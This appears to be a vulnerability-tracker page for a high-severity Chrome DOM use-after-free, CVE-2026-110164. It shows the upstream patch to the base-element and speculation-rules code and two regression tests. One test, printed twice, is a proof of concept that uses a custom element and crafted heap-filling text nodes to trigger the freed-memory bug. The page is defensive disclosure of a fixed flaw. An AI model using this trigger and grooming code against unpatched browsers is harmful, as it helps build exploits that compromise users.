Chrome · DOM
CVE-2026-110164
UAF in DOM
Overview
High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Changed Functions
| Function | Change | Notes |
|---|---|---|
forthird_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html |
modified | |
constructorthird_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html |
modified |
Files Changed
third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.htmlthird_party/blink/renderer/core/html/html_base_element.ccthird_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.htmlthird_party/blink/renderer/core/script/script_loader.cc
Patch
From a2e425e51fb919965ddac06f435f733af96eddf0 Mon Sep 17 00:00:00 2001 From: Joey Arhar <[email protected]> Date: Wed, 07 Oct 2026 12:25:49 -0700 Subject: [PATCH] Do not synchronously fire speculation rules error events on base changes When a <base> element is inserted, removed, or has its href attribute modified, Document::ProcessBaseElement() updates the document's base URL and notifies ScriptLoader::DocumentBaseURLChanged(). If the document contains an invalid <script type="speculationrules">, reparsing it in ScriptLoader::AddSpeculationRuleSet() synchronously dispatches error events on the script element and window, running script while EventDispatchForbiddenScope is active during DOM insertion, removal, or attribute cloning. Fix this by: 1. Checking isConnected() in HTMLBaseElement::ParseAttribute() so modifying or cloning attributes on a disconnected <base> element does not call Document::ProcessBaseElement(). 2. Returning early in ScriptLoader::DocumentBaseURLChanged() if the speculation rule set failed to parse, since top-level parse errors do not depend on the base URL. Bug: 568730794 Change-Id: Ib0167ae383b089c7548befb797b674212dca1479 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8508876 Commit-Queue: Joey Arhar <[email protected]> Reviewed-by: David Baron <[email protected]> Reviewed-by: Joey Arhar <[email protected]> Cr-Commit-Position: refs/heads/main@{#1713725} --- diff --git a/third_party/blink/renderer/core/html/html_base_element.cc b/third_party/blink/renderer/core/html/html_base_element.cc index eb56741..2a233fe 100644 --- a/third_party/blink/renderer/core/html/html_base_element.cc +++ b/third_party/blink/renderer/core/html/html_base_element.cc @@ -36,10 +36,13 @@ void HTMLBaseElement::ParseAttribute( const AttributeModificationParams& params) { if (params.name == html_names::kHrefAttr || - params.name == html_names::kTargetAttr) - GetDocument().ProcessBaseElement(); - else + params.name == html_names::kTargetAttr) { + if (IsInDocumentTree()) { + GetDocument().ProcessBaseElement(); + } + } else { HTMLElement::ParseAttribute(params); + } } Node::InsertionNotificationRequest HTMLBaseElement::InsertedInto( diff --git a/third_party/blink/renderer/core/script/script_loader.cc b/third_party/blink/renderer/core/script/script_loader.cc index 8487c19..219cbcf 100644 --- a/third_party/blink/renderer/core/script/script_loader.cc +++ b/third_party/blink/renderer/core/script/script_loader.cc @@ -234,6 +234,17 @@ if (GetScriptType() != ScriptTypeAtPrepare::kSpeculationRules) { return; } + // If the entire rule set failed to parse (which ShouldReportUMAForError() + // checks: kSourceIsNotJsonObject or kInvalidRulesetLevelTag), do not reparse + // it. Top-level parse errors only depend on the original source text and not + // the base URL, so reparsing would always fail with the same error and + // synchronously re-dispatch error events in AddSpeculationRuleSet() while + // EventDispatchForbiddenScope may be active (e.g. during <base> insertion or + // removal). + if (!speculation_rule_set_ || + speculation_rule_set_->ShouldReportUMAForError()) { + return; + } // We reparse the original source text and generate a new SpeculationRuleSet // with the new base URL. Note that any text changes since the first parse // will be ignored. diff --git a/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html new file mode 100644 index 0000000..d346281 --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html @@ -0,0 +1,48 @@ +<!DOCTYPE html> +<meta charset=utf-8> +<title>Cloning a customized built-in base element with invalid speculation rules</title> +<link rel=author href="mailto:[email protected]"> +<link rel=help href="https://issues.chromium.org/issues/568730794"> +<base href="data:,x"> +<script type=speculationrules>x</script> +<script> +const word = 0x414243444540n; +const keep = [], fills = []; +for (let k = 0; k < 16; k++) { + const c = [48 + k, 48, 48, 48]; + for (let slot = 1; slot < 8; slot++) { + for (let half = 0; half < 2; half++) { + for (let i = 0n; i < 8n; i++) { + c.push(Number((word >> (8n * i)) & 255n)); + } + } + } + fills.push(String.fromCharCode.apply(null, c)); +} +let armed = false; +customElements.define('x-b', class extends HTMLBaseElement { + constructor() { + super(); + if (!armed) return; + armed = false; + this.setAttribute('z', ''); + for (const s of fills) keep.push(document.createTextNode(s)); + } +}, { extends: 'base' }); +document.querySelector('script[type=speculationrules]').addEventListener('error', () => {}); +</script> +<body> +<select><button><selectedcontent></selectedcontent></button> +<option selected><script> +{ + const b = document.createElement('base', { is: 'x-b' }); + b.setAttribute('hidden', ''); + for (let i = 0; i < 6; i++) b.setAttribute('a' + i, ''); + b.setAttribute('href', 'q'); + document.body.appendChild(b); + getComputedStyle(b).display; + document.currentScript.parentNode.appendChild(b); + armed = true; +} +</script></option> +</select> diff --git a/third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html b/third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html new file mode 100644 index 0000000..b989cbc --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html @@ -0,0 +1,61 @@ +<!DOCTYPE html> +<link rel="help" href="https://html.spec.whatwg.org/multipage/urls-and-fetching.html#respond-to-base-url-changes"> +<link rel="help" href="https://html.spec.whatwg.org/multipage/webappapis.html#update-speculation-rules"> +<link rel="help" href="https://html.spec.whatwg.org/multipage/semantics.html#the-base-element"> +<script src="/resources/testharness.js"></script> +<script src="/resources/testharnessreport.js"></script> +<script> +// Invalid inline speculation rules report a TypeError exception on window, +// which testharness.js's global error listener would otherwise treat as an +// unexpected harness error. +setup({ allow_uncaught_exception: true }); + +promise_test(async t => { + const script = document.createElement('script'); + script.type = 'speculationrules'; + script.textContent = 'invalid json'; + t.add_cleanup(() => script.remove()); + + let elementErrorCount = 0; + let globalErrorCount = 0; + + const elementError = new Promise(resolve => { + script.addEventListener('error', () => { + elementErrorCount++; + resolve(); + }); + }); + + const onWindowError = e => { + e.preventDefault(); + globalErrorCount++; + }; + window.addEventListener('error', onWindowError); + t.add_cleanup(() => window.removeEventListener('error', onWindowError)); + + document.head.appendChild(script); + await elementError; + assert_equals(elementErrorCount, 1, 'initial element error event count'); + assert_equals(globalErrorCount, 1, 'initial window error event count'); + + // Modifying a disconnected <base> element should not trigger base URL updates. + const disconnectedBase = document.createElement('base'); + disconnectedBase.href = 'https://example.com/disconnected/'; + disconnectedBase.cloneNode(true); + assert_equals(elementErrorCount, 1, 'element error count after disconnected base'); + assert_equals(globalErrorCount, 1, 'window error count after disconnected base'); + + // Inserting, updating, and removing a connected <base> element should not + // re-fire error events for an already-errored speculationrules script. + const base = document.createElement('base'); + base.href = 'https://example.com/sub1/'; + t.add_cleanup(() => base.remove()); + document.head.appendChild(base); + base.href = 'https://example.com/sub2/'; + base.remove(); + + await new Promise(resolve => t.step_timeout(resolve, 0)); + assert_equals(elementErrorCount, 1, 'element error count after base URL changes'); + assert_equals(globalErrorCount, 1, 'window error count after base URL changes'); +}, 'Base URL changes do not re-fire error events on invalid speculation rules'); +</script>
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html new file mode 100644 index 0000000..d346281 --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html @@ -0,0 +1,48 @@ +<!DOCTYPE html> +<meta charset=utf-8> +<title>Cloning a customized built-in base element with invalid speculation rules</title> +<link rel=author href="mailto:[email protected]"> +<link rel=help href="https://issues.chromium.org/issues/568730794"> +<base href="data:,x"> +<script type=speculationrules>x</script> +<script> +const word = 0x414243444540n; +const keep = [], fills = []; +for (let k = 0; k < 16; k++) { + const c = [48 + k, 48, 48, 48]; + for (let slot = 1; slot < 8; slot++) { + for (let half = 0; half < 2; half++) { + for (let i = 0n; i < 8n; i++) { + c.push(Number((word >> (8n * i)) & 255n)); + } + } + } + fills.push(String.fromCharCode.apply(null, c)); +} +let armed = false; +customElements.define('x-b', class extends HTMLBaseElement { + constructor() { + super(); + if (!armed) return; + armed = false; + this.setAttribute('z', ''); + for (const s of fills) keep.push(document.createTextNode(s)); + } +}, { extends: 'base' }); +document.querySelector('script[type=speculationrules]').addEventListener('error', () => {}); +</script> +<body> +<select><button><selectedcontent></selectedcontent></button> +<option selected><script> +{ + const b = document.createElement('base', { is: 'x-b' }); + b.setAttribute('hidden', ''); + for (let i = 0; i < 6; i++) b.setAttribute('a' + i, ''); + b.setAttribute('href', 'q'); + document.body.appendChild(b); + getComputedStyle(b).display; + document.currentScript.parentNode.appendChild(b); + armed = true; +} +</script></option> +</select> diff --git a/third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html b/third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html new file mode 100644 index 0000000..b989cbc --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html @@ -0,0 +1,61 @@ +<!DOCTYPE html> +<link rel="help" href="https://html.spec.whatwg.org/multipage/urls-and-fetching.html#respond-to-base-url-changes"> +<link rel="help" href="https://html.spec.whatwg.org/multipage/webappapis.html#update-speculation-rules"> +<link rel="help" href="https://html.spec.whatwg.org/multipage/semantics.html#the-base-element"> +<script src="/resources/testharness.js"></script> +<script src="/resources/testharnessreport.js"></script> +<script> +// Invalid inline speculation rules report a TypeError exception on window, +// which testharness.js's global error listener would otherwise treat as an +// unexpected harness error. +setup({ allow_uncaught_exception: true }); + +promise_test(async t => { + const script = document.createElement('script'); + script.type = 'speculationrules'; + script.textContent = 'invalid json'; + t.add_cleanup(() => script.remove()); + + let elementErrorCount = 0; + let globalErrorCount = 0; + + const elementError = new Promise(resolve => { + script.addEventListener('error', () => { + elementErrorCount++; + resolve(); + }); + }); + + const onWindowError = e => { + e.preventDefault(); + globalErrorCount++; + }; + window.addEventListener('error', onWindowError); + t.add_cleanup(() => window.removeEventListener('error', onWindowError)); + + document.head.appendChild(script); + await elementError; + assert_equals(elementErrorCount, 1, 'initial element error event count'); + assert_equals(globalErrorCount, 1, 'initial window error event count'); + + // Modifying a disconnected <base> element should not trigger base URL updates. + const disconnectedBase = document.createElement('base'); + disconnectedBase.href = 'https://example.com/disconnected/'; + disconnectedBase.cloneNode(true); + assert_equals(elementErrorCount, 1, 'element error count after disconnected base'); + assert_equals(globalErrorCount, 1, 'window error count after disconnected base'); + + // Inserting, updating, and removing a connected <base> element should not + // re-fire error events for an already-errored speculationrules script. + const base = document.createElement('base'); + base.href = 'https://example.com/sub1/'; + t.add_cleanup(() => base.remove()); + document.head.appendChild(base); + base.href = 'https://example.com/sub2/'; + base.remove(); + + await new Promise(resolve => t.step_timeout(resolve, 0)); + assert_equals(elementErrorCount, 1, 'element error count after base URL changes'); + assert_equals(globalErrorCount, 1, 'window error count after base URL changes'); +}, 'Base URL changes do not re-fire error events on invalid speculation rules'); +</script>
Loading diff…
Original Bug Report
The reporter's bug is still restricted on the tracker. Chrome de-restricts security bugs ~30–90 days after the fix ships; a later run will backfill it here.
References
On This Page